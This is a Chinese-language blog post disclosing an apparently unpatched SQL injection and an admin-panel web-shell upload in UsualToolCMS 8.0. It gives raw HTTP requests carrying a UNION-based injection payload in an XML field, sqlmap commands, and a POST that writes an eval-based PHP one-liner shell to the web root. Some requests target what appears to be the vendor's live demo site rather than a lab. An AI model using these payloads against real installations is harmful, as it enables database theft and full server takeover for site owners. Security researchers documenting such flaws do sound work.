[TOC]
填上上一篇文章sdcms v1.9 后台getshell里的坑,好不容易啊
刚挖出来的0day,今天是12.30号,也是我2019年最后一篇文章了,没有下集预告了,也不给自己挖坑了。明年的事明年再说,祝大家新年快乐……
这套cms的注入点看完后会发现很简单,傻子都会……主要就是花了很多时候去找到了这个地方
审过这套cms的会发现,他的过滤是用了什么sqlcheck啥的来实现的,我开始审的时候就被这函数给唬住了,,其实,人不要自己难为自己,非得去和这个过滤函数来较劲来想办法来绕过,何必呢
在payment/wechat/notify.php第7行开始:
主要关注点:
第7行的$xml = file_get_contents("php://input");
第10行的$result = WxPayResults::Init($xml);
第20行的$out_trade_no = $result["out_trade_no"];
第28行的$query="SELECT * FROM cms_order
WHERE ordernum='$out_trade_no' and state='0'";
看他这架势,感觉应该是解析传入的xml格式的数据,然后带到数据库执行
这个时候,我个人的想法是不要傻不啦叽的去跟这个WxPayResults::Init,直接黑盒测一下关键字有没有被过滤不就完了吗(要是有师傅就是想跟一下,然后发现了xxe,就当我没说,我确实也没看这个init方法)
我在第10行后面直接加入了print_r($result);exit;
测试过程如下图:
第一个图,,说明了啥也没过滤……但是并没有out_trade_no,只是个0
所以我就寻思再套一层就行了,就是第二个图了,这就有$result["out_trade_no"]了
这就一个很明显的注入点了
送佛送到西,我写注入就非得把怎么获取数据写出来,不然憋得难受==
直接抓包然后用星号指定位置是跑不出来的……
这里就是数据表是空的,sleep多少都是0,然后其他的注入方法应该也不支持
一般对于sleep的注入,我个人的习惯是,能让他返回一列就一列,实在不好整就是调sleep的时间
这个地方显然是可以联合查询一下子,让他返回一列,然后再sleep即可
修改一下注入的数据包:
POST /UsualToolCMS-8.0-Release/payment/wechat/notify.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 101
<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>
然后再用sqlmap注入应该就行了
(我这里实际上出了点小问题,一开始一路回车就是跑不出注入,后来在图片里的[16:05:43]这个地方选的n就出来了,这个地方大家要是很顺利的话就不用管了……)
数据包:
POST /demo/payment/wechat/notify.php HTTP/1.1
Host: cms.usualtool.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: UTCMSLanguage=zh; PHPSESSID=f24fbm52li884ocv974oc22ve2
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 *#</out_trade_no></aa>
sqlmap.py -r ../2.txt --dbms=mysql --technique=T
sqlmap.py -r ../2.txt --dbms=mysql --technique=T --current-user
在cmsadmin/a_templetex.php的前面几行
这就没啥好说的了
访问127.0.0.1/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?x=m
post:
filename=123.php&content=<?php eval($_POST[1]);?>
一句话就在网站根目录了
然后a_templetex.php里面还有个任意文件读取
其实还有一个注入点,没写出来,套路和这个注入点完全是一模一样……也没啥可写的
最后,,唉,不说了,新年快乐